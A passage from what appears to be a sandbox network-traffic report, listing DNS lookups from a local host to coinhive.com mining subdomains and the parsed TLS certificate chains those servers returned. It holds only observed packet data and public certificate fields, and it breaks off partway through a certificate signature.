Jan 3, 2018 13:35:54.870981932 MEZ	49841	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.955291033 MEZ	53	49917	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:55.321779966 MEZ	53	49841	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:10.325602055 MEZ	53667	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:10.702342033 MEZ	51748	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:11.109911919 MEZ	53	53667	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:11.229295969 MEZ	53	51748	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:15.902738094 MEZ	53199	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:16.291552067 MEZ	53	53199	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:17.962146044 MEZ	54134	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:18.722356081 MEZ	53	54134	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:21.849881887 MEZ	59582	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:22.211663008 MEZ	53	59582	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:11.468214989 MEZ	49168	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:12.191389084 MEZ	53	49168	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:32.121541977 MEZ	63129	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:33.119100094 MEZ	63129	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:33.426250935 MEZ	53	63129	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:34.036739111 MEZ	53	63129	8.8.8.8	192.168.1.81

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 3, 2018 13:35:38.851198912 MEZ	192.168.1.81	8.8.8.8	0x3248	Standard query (0)	coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:35:39.837897062 MEZ	192.168.1.81	8.8.8.8	0x3248	Standard query (0)	coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:35:43.173144102 MEZ	192.168.1.81	8.8.8.8	0x9cbd	Standard query (0)	coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:10.325602055 MEZ	192.168.1.81	8.8.8.8	0x7f0f	Standard query (0)	ws009.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:10.702342033 MEZ	192.168.1.81	8.8.8.8	0xae74	Standard query (0)	ws008.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:15.902738094 MEZ	192.168.1.81	8.8.8.8	0x946	Standard query (0)	ws011.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:17.962146044 MEZ	192.168.1.81	8.8.8.8	0xdb17	Standard query (0)	ws012.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:21.849881887 MEZ	192.168.1.81	8.8.8.8	0xae9d	Standard query (0)	ws012.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:11.468214989 MEZ	192.168.1.81	8.8.8.8	0x64f6	Standard query (0)	ws010.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:32.121541977 MEZ	192.168.1.81	8.8.8.8	0xde18	Standard query (0)	ws008.coinhive.com	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:33.119100094 MEZ	192.168.1.81	8.8.8.8	0xde18	Standard query (0)	ws008.coinhive.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
Jan 3, 2018 13:35:40.742520094 MEZ	8.8.8.8	192.168.1.81	0x3248	No error (0)	coinhive.com	94.130.90.154	A (IP address)	IN (0x0001)
Jan 3, 2018 13:35:40.742577076 MEZ	8.8.8.8	192.168.1.81	0x3248	No error (0)	coinhive.com	94.130.90.154	A (IP address)	IN (0x0001)
Jan 3, 2018 13:35:43.584769964 MEZ	8.8.8.8	192.168.1.81	0x9cbd	No error (0)	coinhive.com	94.130.90.154	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:11.109911919 MEZ	8.8.8.8	192.168.1.81	0x7f0f	No error (0)	ws009.coinhive.com	136.243.89.209	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:11.229295969 MEZ	8.8.8.8	192.168.1.81	0xae74	No error (0)	ws008.coinhive.com	136.243.91.46	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:16.291552067 MEZ	8.8.8.8	192.168.1.81	0x946	No error (0)	ws011.coinhive.com	94.130.128.80	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:18.722356081 MEZ	8.8.8.8	192.168.1.81	0xdb17	No error (0)	ws012.coinhive.com	94.130.103.71	A (IP address)	IN (0x0001)
Jan 3, 2018 13:36:22.211663008 MEZ	8.8.8.8	192.168.1.81	0xae9d	No error (0)	ws012.coinhive.com	94.130.103.71	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:12.191389084 MEZ	8.8.8.8	192.168.1.81	0x64f6	No error (0)	ws010.coinhive.com	94.130.129.247	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:33.426250935 MEZ	8.8.8.8	192.168.1.81	0xde18	No error (0)	ws008.coinhive.com	136.243.91.46	A (IP address)	IN (0x0001)
Jan 3, 2018 13:37:34.036739111 MEZ	8.8.8.8	192.168.1.81	0xde18	No error (0)	ws008.coinhive.com	136.243.91.46	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Subject	Issuer	Not Before	Not After	Raw
Jan 3, 2018 13:35:43.485598087 MEZ	443	49162	94.130.90.154	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:35:43.485598087 MEZ	443	49162	94.130.90.154	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:35:43.485598087 MEZ	443	49162	94.130.90.154	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:35:45.897289991 MEZ	443	49163	94.130.90.154	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:35:45.897289991 MEZ	443	49163	94.130.90.154	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 